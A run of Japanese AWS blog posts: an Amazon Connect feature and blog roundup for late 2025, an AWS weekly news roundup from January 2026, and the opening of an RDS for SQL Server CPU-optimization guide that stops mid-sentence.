Amazon Connect が利用可能なすべての AWS リージョン 関連リソース : Salesforce Contact Center with Amazon Connect のドキュメント Amazon Connect でフローを使用した関連連絡先とケースのリンク簡素化 （2025年11月30日） 概要 : フローを使用して関連する連絡先をケースにリンクするプロセスを簡素化。より効率的なケース管理とコンタクト追跡を実現します。 利用可能リージョン : 米国東部 (バージニア北部)、米国西部 (オレゴン)、カナダ (中部)、欧州 (フランクフルト)、欧州 (ロンドン)、アジアパシフィック (ソウル)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、アジアパシフィック (東京)、アフリカ (ケープタウン) 関連リソース : Amazon Connect Cases 製品ページ Amazon Connect Cases 管理者ガイド Amazon Connect で AI 搭載ケース要約を提供 （2025年11月30日） 概要 : AI を活用したケース要約機能を提供開始。複雑なケースの内容を自動的に要約し、エージェントやマネージャーが迅速に状況を把握できるようにします。 利用可能リージョン : 米国東部 (バージニア北部)、米国西部 (オレゴン)、カナダ (中部)、欧州 (フランクフルト)、欧州 (ロンドン)、アジアパシフィック (ソウル)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、アジアパシフィック (東京)、アフリカ (ケープタウン) 関連リソース : Amazon Connect Cases 製品ページ Amazon Connect Cases 管理者ガイド Amazon Connect でエージェント支援機能を強化 （2025年11月30日） 概要 : エージェント支援機能を全般的に強化。AI を活用したより高度な支援機能により、エージェントの生産性と顧客満足度を向上させます。 利用可能リージョン : リージョンごとの Amazon Connect 機能の提供状況 を参照 (※東京リージョンは利用可能) 関連リソース : Amazon Connect AI エージェント Amazon Connect 管理者ガイド Amazon Connect でビジネスユーザーがカスタム UI を作成してリアルタイムでコンタクトセンター設定を調整可能に （2025年11月30日） 概要 : ビジネスユーザーが技術リソースを必要とせずに、日常のコンタクトセンター運用をより詳細に制御できるようになりました。キュー、ルーティング動作、顧客体験設定をリアルタイムで調整するカスタム UI を作成する新機能により、エンタープライズグレードのガバナンスとセキュリティを維持しながら、変化する条件に即座に対応できます。 利用可能リージョン : Amazon Connect が利用可能なすべての AWS リージョン 関連リソース : ビジネスユーザーのワークスペースを設定する Amazon Connect エージェントワークスペースでカスタムビジュアルテーマをサポート （2025年11月30日） 概要 : エージェントワークスペースでカスタムビジュアルテーマをサポート開始。組織のブランディングに合わせたインターフェースのカスタマイズが可能になります。 利用可能リージョン : Amazon Connect エージェントワークスペースは、米国東部 (バージニア北部)、米国西部 (オレゴン)、アフリカ (ケープタウン)、アジアパシフィック (ソウル)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、アジアパシフィック (東京)、カナダ (中部)、欧州 (フランクフルト)、欧州 (ロンドン)、AWS GovCloud (米国西部) の各 AWS リージョンで利用できます。 関連リソース : Amazon Connect エージェントワークスペースをカスタマイズする エージェントワークスペース デベロッパーガイド Amazon Connect でエージェントがメール連絡先にフォローアップ返信を送信可能に （2025年11月21日） 概要 : Amazon Connect でエージェントがメール連絡先にフォローアップ返信を送信できる機能を提供開始。エージェントは顧客からのメールに対して、初回応答後も継続的なフォローアップメールを送信し、より包括的な顧客サポートを提供できるようになります。 利用可能リージョン : Amazon Connect Email は、米国東部 (バージニア北部)、米国西部 (オレゴン)、アフリカ (ケープタウン)、アジアパシフィック (ソウル)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、アジアパシフィック (東京)、カナダ (中部)、欧州 (フランクフルト)、欧州 (ロンドン) の各リージョンでご利用いただけます。 関連リソース : Amazon Connect で E メールを設定する Amazon Connect でマルチスキルエージェントスケジューリングをサポート （2025年11月21日） 概要 : Amazon Connect が複数のスキルを持つエージェントのスケジューリングをサポート開始。エージェントが複数の専門分野やスキルセットを持つ場合に、より効率的なスケジューリングと人員配置が可能になります。 利用可能リージョン : Amazon Connect エージェントのスケジューリングが利用可能なすべての AWS リージョン 関連リソース : AWS Contact Center ブログ Amazon Connect でのマルチスキル予測 Amazon Connect で永続的なエージェント接続による高速通話処理をサポート （2025年11月21日） 概要 : Amazon Connect とエージェント間の通信チャネルを永続化することで、お客様との接続処理の高速化を実現。アウトバウンドキャンペーンの通話において、お客様の体験とエージェントの効率性を向上させます。 利用可能リージョン : Amazon Connect が利用可能なすべての AWS リージョン 関連リソース : Amazon Connect エージェントの永続的接続を有効にする 3. Transform data into relationships: Proactive intelligence（データを関係性に変換：プロアクティブインテリジェンス） 顧客データを活用してより深い関係性を構築し、プロアクティブでパーソナライズされた顧客体験を提供します。 Amazon Connect で AI を活用した予測インサイト機能がプレビュー開始 （2025年11月30日） 概要 : Amazon Connect Customer Profiles を基盤として、AI を活用した5つの推奨アルゴリズムを導入。顧客の行動パターンと対話履歴を分析し、セルフサービスとエージェント対話の両方で利用可能な予測インサイトを提供します。 利用可能リージョン : 欧州 (フランクフルト)、米国東部 (バージニア北部)、アジアパシフィック (ソウル)、アジアパシフィック (東京)、米国西部 (オレゴン)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、カナダ (中部) 関連リソース : 予測インサイト (プレビュー) Amazon Connect がアウトバウンドキャンペーン向け WhatsApp チャネルをリリース （2025年12月5日） {#whatsapp-campaigns} 概要 : Amazon Connect の Outbound Campaigns 機能で WhatsApp チャネルをサポート開始。マーケティングキャンペーンや大規模な顧客エンゲージメント活動において、WhatsApp を活用したアウトバウンドキャンペーンの実行が可能になります。 利用可能リージョン : Amazon Connect Outbound Campaigns が提供されているすべてのリージョン 関連リソース : アウトバウンドキャンペーンのチャネル設定 Amazon Connect Customer Profiles で新しいセグメンテーション機能を開始（ベータ） （2025年12月5日） 概要 : Amazon Connect Customer Profiles で新しいセグメンテーション機能をベータ版で提供開始。顧客データをより詳細にセグメント化し、パーソナライズされた顧客体験を提供できます。 利用可能リージョン : Amazon Connect Customer Profiles が提供されているすべてのリージョン 関連リソース : Amazon Connect で顧客セグメントを構築する Amazon Connect Outbound Campaigns でマルチステップ・マルチチャネル顧客エンゲージメントジャーニービルダーをサポート （2025年11月30日） 概要 : Amazon Connect Outbound Campaigns でマルチステップ・マルチチャネル顧客エンゲージメントジャーニービルダーをサポート開始。複数のステップと複数のチャネルを組み合わせた複雑な顧客エンゲージメントジャーニーを構築できます。 利用可能リージョン : Amazon Connect Outbound Campaigns が提供されているすべてのリージョン 関連リソース : Amazon Connect のアウトバウンドキャンペーンを作成する Amazon Connect Outbound Campaigns で未応答通話のリング時間設定をサポート （2025年11月19日） 概要 : Amazon Connect Outbound Campaigns でキャンペーンマネージャーが音声通話のリング時間を15〜60秒の範囲で設定できる機能を提供開始。通話が「無応答」としてマークされ次の連絡先に移る前のリング時間を調整可能。各連絡先でリング開始・終了時刻も記録され、正確なレポートと追跡が可能になります。 利用可能リージョン : 米国東部 (バージニア北部)、米国西部 (オレゴン)、アフリカ (ケープタウン)、アジアパシフィック (ソウル)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、アジアパシフィック (東京)、カナダ (中部)、欧州 (フランクフルト)、欧州 (ロンドン) 関連リソース : Amazon Connect Outbound Campaigns ウェブページ 4. Accelerate Outcomes: Confidence Through Observability（成果の加速：可視性による信頼性） 包括的な可視性と制御により、迅速なイノベーションと信頼性を両立させます。 Amazon Connect ダッシュボードでカスタムビジネスディメンションによるメトリクスフィルタリングをサポート （2025年12月29日） 概要 : 事業部門、製品ライン、顧客セグメントなどのカスタムビジネスディメンションに基づいたメトリクスフィルタリングをサポート。事前定義された属性を使用してビジネスディメンションを作成し、独自のビジネスニーズに基づいてダッシュボードをカスタマイズ可能。 利用可能リージョン : Amazon Connect が提供されているすべての AWS 商用リージョンおよび AWS GovCloud（US-West）リージョン 関連リソース : Amazon Connect 管理者ガイド – ダッシュボード Amazon Connect ウェブページ Amazon Connect でエージェント評価自動化を5つの追加言語に拡張 （2025年12月26日） 概要 : 生成 AI を使用してポルトガル語、フランス語、イタリア語、ドイツ語、スペイン語でのエージェントパフォーマンス評価を自動化。クロス言語評価もサポートし、多言語コンタクトセンターで標準化された評価フレームワークを使用可能。 利用可能リージョン : 米国東部 (バージニア北部)、米国西部 (オレゴン)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、アジアパシフィック (東京)、カナダ (中部)、欧州 (フランクフルト)、欧州 (ロンドン) 関連リソース : 生成 AI を使用して Amazon Connect でエージェントのパフォーマンスを評価する Amazon Connect での AI を活用した会話分析 Amazon Connect でリアルタイムメトリクスアラートに追加詳細を提供 （2025年12月16日） 概要 : リアルタイムメトリクスアラートで、閾値を超えてアラートをトリガーした特定のエージェント、キュー、フロー、またはルーティングプロファイルの詳細を提供開始。マネージャーがアラートの根本原因を手動で調査する必要がなくなり、顧客体験と運用上の問題により迅速に対応できます。 利用可能リージョン : Amazon Connect が提供されているすべてのリージョン 関連リソース : Amazon Connect でリアルタイムメトリクスに基づくアラートを作成する Amazon Connect で評価フォームに複数選択と日付質問をサポート （2025年12月15日） 概要 : 人間と AI エージェントのパフォーマンスに関するより深いインサイトを取得するための2つの新しい評価質問タイプを提供。複数選択質問と日付質問により、より詳細な評価が可能になります。 利用可能リージョン : Amazon Connect が提供されているすべてのリージョン 関連リソース : Amazon Connect で評価フォームを作成する Amazon Connect でネイティブテストとシミュレーション機能を提供 （2025年11月30日） 概要 : Amazon Connect がネイティブなテストとシミュレーション機能を提供開始。コンタクトセンターの体験を自動的にシミュレートし、ワークフローの変更を検証し、新しい体験をビジュアルデザイナーや API を通じてデプロイできます。 利用可能リージョン : Amazon Connect が利用可能なすべての AWS リージョン 関連リソース : Amazon Connect コールシミュレーション テストと シミュレーションダッシュボード Amazon Connect でパフォーマンス評価の詳細なアクセス制御を提供 （2025年11月30日） 概要 : パフォーマンス評価に対するタグベースの詳細なアクセス制御を提供。マネージャーが関連する評価フォームのみにアクセスできるよう制限し、セキュリティを向上させます。 利用可能リージョン : Amazon Connect が利用可能なすべての AWS リージョン 関連リソース : Amazon Connect で評価フォームを作成する パフォーマンス評価にtag-based-accessコントロールを設定する Amazon Connect でセルフサービスインタラクションの自動パフォーマンス評価を提供 （2025年11月30日） 概要 : セルフサービスインタラクションに対する自動パフォーマンス評価機能を提供開始。AI を活用したセルフサービス体験の品質を自動的に評価し、改善点を特定できます。 利用可能リージョン : Amazon Connect が利用可能なすべての AWS リージョン 関連リソース : Amazon Connect で評価フォームを作成する Amazon Connect で AI エージェントの分析・監視機能を改善 （2025年11月30日） 概要 : AI エージェントのセルフサービスとエージェント支援体験における分析・監視機能を提供。AI エージェントが関与した問い合わせ数、ハンドオフレート、会話ターン数、平均処理時間などの主要メトリクスを含むカスタマイズ可能なダッシュボードを通じて、AI エージェントのパフォーマンスと顧客成果を測定・改善できます。 利用可能リージョン : Amazon Connect AI エージェントが提供されているすべての AWS リージョン 関連リソース : AI エージェントのパフォーマンスダッシュボード Amazon Connect でパフォーマンス評価の対象になる問い合わせを自動的に選択する新基準を導入 （2025年11月30日） 概要 : パフォーマンス評価の対象にする問い合わせを自動的に選択する新しい基準を導入。より効率的で的確な評価プロセスを実現します。 利用可能リージョン : Amazon Connect が利用可能なすべての AWS リージョン 関連リソース : Amazon Connect 管理ウェブサイトを使用して Contact Lens ルールを作成する Amazon Connect でダッシュボードと API で使用するカスタムメトリクスの作成をサポート （2025年11月30日） 概要 : Amazon Connect でダッシュボードと API で使用するカスタムメトリクスの作成をサポート開始。組織固有の KPI や業務要件に合わせたカスタムメトリクスを定義し、ダッシュボードや API で活用できます。 利用可能リージョン : Amazon Connect が利用可能なすべての AWS リージョン 関連リソース : Amazon Connect のメトリクス、ダッシュボード、レポート Amazon Connect Chat が仕掛かり中のデータ削除とメッセージ処理のサポートを開始 （2025年11月30日） 概要 : Amazon Connect で、チャットメッセージが参加者に届く前にインターセプトして処理するメッセージ処理がサポートされるようになりました。この新機能により、機密データの自動削除とカスタムメッセージ処理が可能になるため、企業は個別設定されたカスタマーエクスペリエンスを提供しながら、コンプライアンスとセキュリティの基準を維持できます。 利用可能リージョン : 米国東部 (バージニア北部)、米国西部 (オレゴン)、アジアパシフィック (ソウル)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、アジアパシフィック (東京)、カナダ (中部)、欧州 (フランクフルト)、欧州 (ロンドン)、アフリカ (南アフリカ) 関連リソース : 処理中の機密データの秘匿化とメッセージ処理を有効にする Amazon Connect でマネージャーによるエージェント評価完了メトリクスを提供 （2025年11月14日） 概要 : マネージャーによるエージェントパフォーマンス評価の完了状況に関するメトリクスを提供開始。評価プロセスの進捗状況を追跡し、評価の完了率や遅延を監視できます。 利用可能リージョン : Amazon Connect が利用可能なすべての AWS リージョン 関連リソース : エージェントパフォーマンス評価ダッシュボード Amazon Connect で条件付きキーワードとフレーズを使用した自動メール応答を開始 （2025年11月30日） 概要 : 条件付きキーワードとフレーズを使用した自動メール応答機能を開始。特定の条件に基づいて自動的にメール応答を生成し、効率的な顧客対応を実現します。 利用可能リージョン : Amazon Connect の E メールは、米国東部 (バージニア北部)、米国西部 (オレゴン)、アフリカ (ケープタウン)、アジアパシフィック (ソウル)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、アジアパシフィック (東京)、カナダ (中部)、欧州 (フランクフルト)、欧州 (ロンドン) の各リージョンで利用できます。 関連リソース : Amazon Connect で E メールを設定する Amazon Connect のフローブロック: 保存されたコンテンツを取得する Amazon Connect で音声・チャットボット向け会話分析を提供 （2025年11月19日） 概要 : Amazon Connect で音声およびデジタルチャネル全体のエンドカスタマーセルフサービスインタラクション向け会話分析を提供開始。PSTN/電話、アプリ内・ウェブ通話、ウェブ・モバイルチャット、SMS、WhatsApp Business、Apple Messages for Business を含む全チャネルで利用可能。顧客感情の自動分析、機密データの編集、主要な連絡要因とテーマの発見、コンプライアンスリスクの特定が可能になります。 利用可能リージョン : 対応言語 と リージョン を参照してください。 関連リソース : Amazon Connect Contact Lens 会話分析を使用して会話を分析する 4. AWS Contact Center Blog のご紹介 2025年11月・12月期間中、AWS Contact Center Blog では、Amazon Connect の最新機能と実践的な活用方法について多数の記事が公開されました。以下、注目すべき記事をご紹介します。 日本語記事 Amazon Connect Data Tables でコンタクトセンター運用を簡素化 コンタクトセンターの運用チームが直面する日常的な変更における開発者依存の課題を解決する、Amazon Connect Data Tables の活用方法について詳しく解説されています。この機能により、管理者はノーコードインターフェースを通じて運用データを管理でき、実装時間を数日から数分に短縮できます。 主な使用例： 直通電話番号内線システム : 富裕層顧客を担当アドバイザーに直接ルーティング 季節的サイト閉鎖フラグ : 冬季期間中の特別ルーティング設定 季節的ワクチンキャンペーン : 秋季のワクチン接種促進メッセージの自動再生 Amazon Connect のフローモジュールを強化する 3 つの強力な新機能 Amazon Connect のコアであるフローとモジュールに関する3つの革新的な新機能について解説されています： 1. カスタムブロックによるモジュールの柔軟性向上 JSON スキーマ v4 構文を実装し、入力・出力オブジェクトを正確に制御 カスタムブランチ名の設定により、従来のデータ受け渡しメカニズムの複雑さを解消 2. バージョニングとエイリアシングによるデプロイメント信頼性向上 変更されないモジュールの固定バージョン作成 エイリアス更新による全実装への自動適用 3. ツールとしてのモジュール活用 フロー外での独立実行単位としての利用 AI エージェントによるツールとしての活用が可能 MCP を用いた Amazon Connect の監視運用準備 Amazon Connect の使いやすいエンタープライズクラウドコンタクトセンターについて解説。組織が規模に応じて優れた顧客体験を提供できるよう支援します。Amazon Connect の主要な利点の一つは、Amazon CloudWatch とのネイティブ統合であり、運用活動を分析し、問題が顧客に影響を与える前にアラートを受信する強力な機能を提供することについて詳しく説明されています。 英語記事 AWS re:Invent 2025: カスタマーエクスペリエンスの再構築 | AWS re:Invent 2025: Reimagining customer experience with Amazon Connect AWS re:Invent 2025（12月1-5日、ラスベガス）での Amazon Connect チームの取り組みについて紹介。ビジョナリーリーダー、技術革新者、業界のパイオニアが集結し、インテリジェントな顧客体験の未来を探求する没入型の体験について解説されています。 Amazon Connect の対話型 AI | Leading the conversation with conversational AI in Amazon Connect 現代の顧客体験におけるデジタルコンシェルジュとしての会話型 AI の役割について詳しく解説。人間の言語を自然に理解・処理・応答する能力が、単なる自動化の機会を超えて、AI の効率性と人間の判断力・共感力を組み合わせる方法について説明されています。 Amazon Connect アシスタントでよりスマートなコンタクトセンター体験を創造 | Create smarter contact center experiences with the Amazon Connect assistant コンタクトセンターリーダーが直面する複雑な課題への対応について解説。顧客は全チャネルで即座にパーソナライズされたサービスを期待する一方、人間エージェントは複数のシステム、ナレッジベース、ワークフローを駆使して問題を解決する必要があります。従来のアプローチの課題と革新的なソリューションについて詳しく説明されています。 Amazon Connect at re:Invent 2025: AI で顧客体験の未来を創造 | Amazon Connect at re:Invent 2025: Creating the future of customer experience with AI 顧客体験の未来は、AI の効率性と人間のつながりのどちらかを選ぶことではなく、両方を組み合わせて特別なものを創造することについて解説。re:Invent 2025 で Amazon Connect が発表した、人間チームメイトと連携するインテリジェント AI エージェントによる顧客インタラクション変革の包括的ビジョンについて紹介されています。 Amazon Connect Data Tables でコンタクトセンター運用を簡素化 | Simplify contact center operations with Amazon Connect Data Tables コンタクトセンター運用チームが日常的な変更を行う際に直面する遅延の課題について解説。従来のアプローチでは開発者の支援とコード変更が必要でしたが、Amazon Connect Data Tablesにより管理者がノーコードインターフェースを通じて運用データを管理できるようになった経緯と活用方法について詳しく説明されています。 Toyota Insurance が Amazon Connect で顧客サービスコストを98.5%削減し、60%のセルフサービス率を達成 | How Toyota Insurance cut customer service costs by 98.5% and achieved 60% self-service with Amazon Connect 技術主導の保険代理店であるToyota Insurance Management Solutionsの事例について紹介。主に北米のトヨタ車オーナーにサービスを提供する同社が、運用効率を維持しながら顧客体験を向上させる革新的な方法を継続的に模索している取り組みについて詳しく解説されています。 テスト時間を最大90%削減：Amazon Connect のネイティブテスト・シミュレーション機能の紹介 | Reduce testing time by up to 90%: Introducing native testing and simulation for Amazon Connecte testing time by up to 90%: Introducing native testing and simulation for Amazon Connect コンタクトセンター管理者が直面する持続的な課題である、ライブ運用を中断することなくコンタクトフローを効率的にテスト・検証する方法について解説。従来のアプローチ（手動でのシステム呼び出し、カスタム検証ツールの構築、サードパーティソリューションへの投資）の課題と、新しいネイティブソリューションについて詳しく説明されています。 Amazon Connect AI 強化メールワークフローで顧客サービスを向上 | Boost customer service with Amazon Connect AI-enhanced email workflows Amazon Connect Email の組み込み機能について詳しく解説。統合されたオムニチャネルコンタクトセンタープラットフォーム内で、顧客サービスメールの優先順位付け、割り当て、解決の自動化を実現する方法について説明されています。組織は音声・チャットと並行してメールインタラクションを管理し、顧客属性とコンテンツに基づいてメールをルーティングできます。 Amazon Connect が3つの強力な新機能でフローモジュールを強化 | Amazon Connect enhances flow modules with 3 powerful new capabilities Amazon Connect のコアであるフローとモジュールについて詳しく解説。フローは顧客ジャーニーを定義し、モジュールは運用を合理化する再利用可能な構築ブロックとして機能します。これまで以上に強力で柔軟性があり、保守性を高める3つの新機能について詳しく説明されています。 Amazon Connect と Salesforce 間のケース同期の自動化 | Automate case synchronization between Amazon Connect and Salesforce Amazon Connect と Salesforce の統合について解説。統一された顧客ビューでエージェント体験を簡素化する方法について説明されています。各サービスがそれぞれの領域で優れている一方で、Amazon Connect で作成されたケースが Salesforce に同期されない場合（またはその逆）の課題と解決策について詳しく紹介されています。 常時稼働、常時保証：クラウドベース監視による継続的CX品質の実現 | Always on, always assuring: Unlocking continuous CX quality with cloud-based monitoring 顧客体験の進化する状況について詳しく解説。フライト予約、銀行残高確認、小売ブランドのサポートボットとのチャット等、今日の顧客はすべてのインタラクションが高速で、エラーフリーで、オンデマンドで利用可能であることを期待しています。単一の遅延、欠陥、停止でも顧客が競合他社を探す原因となる現状について説明されています。 Amazon Connect でのマルチスキル予測とスケジューリングの実装 | Implementing multi-skill forecasting and scheduling in Amazon Connect Amazon Connect が提供するコンタクトセンター向けマルチスキル予測・スケジューリング機能について解説。このアプローチは、エージェントを交換可能として扱うのではなく、専門エージェントスキルに基づいて需要をセグメント化します。Amazon Connect により、専門エージェントが高価値インタラクションを処理することを保証しながら、コストのかかるスタッフィング不均衡を解消する方法について説明されています。 Blink by Amazon が AWS Glue Zero ETL を使用してコンタクトセンターレポートを合理化した方法 | How Blink by Amazon streamlined contact center reporting using AWS Glue Zero ETL 大規模なコンタクトセンターワークフォースの管理において組織が長年直面してきた課題について解説。主要な問題の一つは、顧客関係管理（CRM）システムとレポートツール間のデータ一貫性の維持です。コンタクトセンタースーパーバイザーが直面する複数の課題点について詳しく説明されています。 Amazon Connect エージェントワークスペースでサードパーティアプリケーションとしてエージェント間通話を有効化 | Enable agent to agent calling as a third-party (3P) application in Amazon Connect agent workspace 協調的なコンタクトセンター環境において、エージェント同士が直接接続する能力が生産性を大幅に向上させ、問題解決を合理化できることについて解説。文脈情報の転送、スーパーバイザー支援の要請、チーム間の協力など、エージェント間通話が内部コミュニケーションの向上において重要な役割を果たすことについて詳しく説明されています。 Amazon Connect Tasks を使用したコンタクト後調査による顧客満足度スコアの分析 | Analyze customer satisfaction scores with post-contact surveys using Amazon Connect Tasks 顧客満足度（CSAT）がコンタクトセンターでのインタラクション後の顧客の認識を測定するために使用される主要メトリクスの一つであることについて解説。CSATコール後調査は、コンタクトセンターで提供される体験とサービスを微調整するための診断ツールとして重要であることについて詳しく説明されています。 Amazon Connect でビデオ通話を安全に実装 | Securely implement enterprise-ready video calling in Amazon Connect Amazon Connect のビデオ通話機能について詳しく解説。組織が人間エージェントと顧客間の対面インタラクションを提供できるようにします。しかし、組織は適切な認証を確保しながら、この機能を安全に実装することに注意を払う必要があります。エンドユーザー認証を含む Amazon Connect での安全なビデオ通話の設定方法について説明されています。 Amazon Connect でケース管理ワークフローを自動化 | Automate case management workflows with Amazon Connect 今日の多くのコンタクトセンターが、解決を遅らせ、運用コストを増加させ、ケースが見落とされるリスクを伴う手動ケース管理プロセスに苦労していることについて解説。特に、厳格なSLAとコンプライアンス要件が適用される保険などの規制業界において顕著です。従来のツールがしばしば失敗する中で、顧客は現在、タイムリーな更新、プロアクティブなコミュニケーション、サービスジャーニー全体でのシームレスなエスカレーションを期待していることについて詳しく説明されています。 Inside Amazon Connect | Inside Amazon Connect: The evolution of a disruptor Amazon Connect が AI を活用した顧客体験ソリューションとして、より低コストで優れた成果を可能にすることについて解説。2017年の公開ローンチ以来、Amazon Connect は AI リーダーとなり、あらゆるタイプの組織が顧客とのインタラクション方法を変革してきました。先週の Q3 2025年決算報告で、Amazon が Amazon Connect の重要なマイルストーンを発表したことについて詳しく紹介されています。 Amazon Connect と Amazon Lex を使用した NatWest での銀行セルフサービスの簡素化 | Simplifying banking self-service at NatWest using Amazon Connect and Amazon Lex 英国有数の金融機関の一つである NatWest Group の事例について解説。小売、商業、プライベートバンキング部門にわたって幅広い銀行サービスを提供する同行が、既存のレガシープラットフォームからコンタクトセンター運用を近代化し、自然言語コールステアリング（NLCS）エンジンの管理において直面した重要な課題について詳しく説明されています。 Amazon Connect と Amazon Lex でチャネル間のインタラクションコンテキストを保持 | Preserve interaction context across channels with Amazon Connect and Amazon Lex 今日の顧客が音声通話、ウェブチャット、モバイルアプリ、SMS、iMessage、Facebook、X などの様々なソーシャルメディアプラットフォームなど、好みのコミュニケーションチャネルを通じて組織とインタラクションすることを好むことについて解説。チャネルの選択は、多くの場合、顧客の現在の状況に依存することについて詳しく説明されています。 詳細情報 : AWS Contact Center Blog 皆さまのコンタクトセンター改革のヒントになりそうな内容はありましたでしょうか？ぜひ、実際にお試しいただき、フィードバックをお聞かせいただけますと幸いです。 Amazon Connect ソリューションアーキテクト 坂田

明けましておめでとうございます! クリスマスや年末年始を通じて、皆さんが心身ともにリフレッシュし、愛する人と一緒に時間を過ごせたことを願っています。 例年どおり、私は AWS re:Invent 後に数週間休暇を取って疲れを癒し、今後の計画を立てました。休暇の一部は、 Become a Solutions Architect (BeSA) の次のグループを計画するために使いました。無料のメンタリングプログラムである BeSA は、人々がクラウドキャリアや AI キャリアで能力を発揮するための支援手段として、私、そしてその他数人の Amazon Web Services (AWS) 社員ボランティアがホストしています。2026 年 2 月 21 日には、「AWS でのエージェンティック AI」に関する 6 週間のプログラムが開始されます。詳細については、 BeSA のウェブサイト をご覧ください。 まだ遅くはありません。 Global 10,000 AIdeas Competition にアイデアを提出し、賞金 250,000 USD、AWS クレジット、受賞を目指して競いましょう。受賞者は、AWS re:Invent 2026 やさまざまな AWS チャネルで特集紹介される可能性もあります。 次世代 AI 開発ツールで実践的な経験を積み、世界中のイノベーターとつながるとともに、2 週間に 1 度のワークショップ、AWS ユーザーグループ、AWS Builder Center リソースによるテクニカルイネーブルメントにアクセスできます。 締め切りは 2026 年 1 月 21 日で、コードはまだ必要ありません。準決勝進出者に選出されたら、その時点でアプリケーションを作成します。完成したアプリケーションは、開発の少なくとも一部に Kiro が使用されており、 AWS 無料利用枠 の範囲を越えず、完全にオリジナルかつ未公開である必要があります。 AWS re:Invent 2025 からの新リリースや発表のすべてをまだ把握していない場合は、 注目の発表記事 を読む、または 基調講演、イノベーショントーク、ブレイクアウトセッションをオンデマンドでご覧ください 。 過去数週間のリリース 2025 年 12 月 15 日の最後の Week in Review 後に行われた発表で、私が注目したものをいくつか紹介したいと思います。 Amazon EC2 M8gn および M8gb インスタンス – 新しい M8gn インスタンスと M8gb インスタンスには、AWS Graviton3 プロセッサよりも最大 30% 優れたコンピューティングパフォーマンスを実現する AWS Graviton4 プロセッサが搭載されています。M8gn インスタンスには最新の第 6 世代 AWS Nitro Card が使用されており、ネットワーク最適化 EC2 インスタンスの中でも最も高いネットワーク帯域幅である、最大 600 Gbps のネットワーク帯域幅を提供します。M8gb は最大 150 Gbps の Amazon EBS 帯域幅を提供し、同じサイズの同等の Graviton4 ベースインスタンスよりも優れた EBS パフォーマンスを実現します。 AWS Direct Connect が AWS Fault Injection Service を用いたレジリエンステストをサポート – AWS Fault Injection Service を使用して、アプリケーションが Direct Connect ボーダーゲートウェイプロトコル (BGP) フェイルオーバーをどのように処理するのかを制御された環境内でテストできるようになりました。例えば、プライマリ仮想インターフェイスの BGP セッションが中断されたときにトラフィックが冗長仮想インターフェイスにルーティングされ、アプリケーションが期待どおりに機能し続けることを検証できます。 AWS Control Tower での新しい AWS Security Hub コントロール – AWS Control Tower が Control Catalog でさらに 176 個の Security Hub コントロールをサポートするようになりました。これらは、セキュリティ、コスト、耐久性、運用などのユースケースを対象としています。このリリースにより、これらのコントロールの検索、検出、有効化、管理を AWS Control Tower から直接実行して、マルチアカウント環境全体でさらに多くのユースケースを制御できるようになります。 AWS Transform がハイブリッドデータセンター移行のためのネットワーク変換をサポート – AWS Transform for VMware を使用して、ハイブリッドデータセンターからネットワークを自動的に変換できるようになりました。このため、VMware ワークロードとその他ワークロードの両方を実行する環境のネットワークマッピングを手動で行う必要がなくなります。このサービスは、エクスポートされたすべてのソースネットワークで VLAN と IP 範囲を分析し、それらを仮想プライベートクラウド (VPC)、サブネット、セキュリティグループなどの AWS コンストラクトにマップします。 Amazon Bedrock での NVIDIA Nemotron 3 Nano の提供開始 – Amazon Bedrock が NVIDIA Nemotron 3 Nano 30B A3B モデルをサポートするようになりました。これは、効率的な言語モデリングにおける NVIDIA 最新のブレークスルーであり、高度な推論パフォーマンス、組み込み型のツール呼び出しサポート、256,000 トークンのコンテキストウィンドウによる拡張コンテキスト処理を実現します。 Amazon EC2 がすべての API でアベイラビリティゾーン ID をサポート – Amazon EC2 API にアベイラビリティゾーン ID (AZ ID) パラメータを直接指定して、リソースの一貫的な配置を保証することができます。AZ ID は、すべての AWS アカウント全体で同一の物理的な場所を表す一貫的かつ静的な識別子で、リソース配置の最適化に役立ちます。今回のリリース以前は、リソースの作成時に AZ 名を使用する必要がありましたが、AZ 名は異なる物理的な場所にマップされる可能性がありました。このマッピングは、特に複数のアカウントを用いた運用において、リソースを常に同じ場所に配置することを困難にしていました。 Amazon ECS マネージドインスタンスが Amazon EC2 スポットインスタンスをサポート – Amazon ECS マネージドインスタンスが Amazon EC2 スポットインスタンスをサポートするようになり、AWS マネージドインフラストラクチャで利用できる機能の範囲が拡大されました。Amazon ECS マネージドインスタンス内のフォールトトレラントワークロードに対し、オンデマンド料金から最大 90% の割引料金で予備の EC2 キャパシティを使用できます。 この記事で取り上げられていないその他のリリースニュースについては、 AWS の最新情報 をご覧ください。 今週のニュースは以上です。2026 年 1 月 12 日週の Weekly Roundup もお楽しみに! 2026 年の素晴らしいスタートを祝して乾杯。ハッピービルディング! –  Prasad 原文は こちら です。

Amazon Relational Database Service (Amazon RDS) for SQL Server が、CPU 最適化機能をサポートするようになりました。 CPU 最適化機能 を使用すると、新しいインスタンスを起動する際や既存のデータベースインスタンスを変更する際に、コア数を定義することができます。この機能は第 7 世代インスタンスクラスから利用可能です。以下のメリットがあります： RDS SQL Server インスタンスの vCPU 数をカスタマイズ 特定のワークロードに対して望ましいメモリ対 CPU 比を実現 ライセンスコストを削減し、全体的なコスト管理においてさらなる柔軟性を獲得する可能性 この投稿では、Amazon RDS for SQL Server で CPU 最適化機能を使用する方法について説明します。内容は以下の通りです： CPU 最適化を設定して新しいインスタンスを作成する CPU 最適化で既存のインスタンスを変更する CPU 最適化で設定されたスナップショットから復元する CPU 最適化でポイントインタイムリカバリ (PITR) を実行する 前提条件 この投稿の例では、 AWS Command Line Interface (AWS CLI) を使用します。 RDS for SQL Server DB インスタンス の作成に関する基本的な知識があり、CPU アーキテクチャの概念 (コア、コアあたりのスレッド数、vCPU) を理解している必要があります。 また、 CPU 最適化機能 が Amazon RDS for SQL Server の 料金 と DB インスタンスのパフォーマンスの両方にどのような影響を与えるかについても理解しておく必要があります。 CPU 最適化された新しいインスタンスの作成 CPU 最適化機能を使用して RDS SQL Server インスタンスを作成するには、create-db-instance コマンドで --processor-features パラメータを使用します。 coreCount と threadsPerCore の値を指定してください。次のコマンドは、8 コアで 1 コアあたり 1 スレッドのインスタンスを作成し、合計 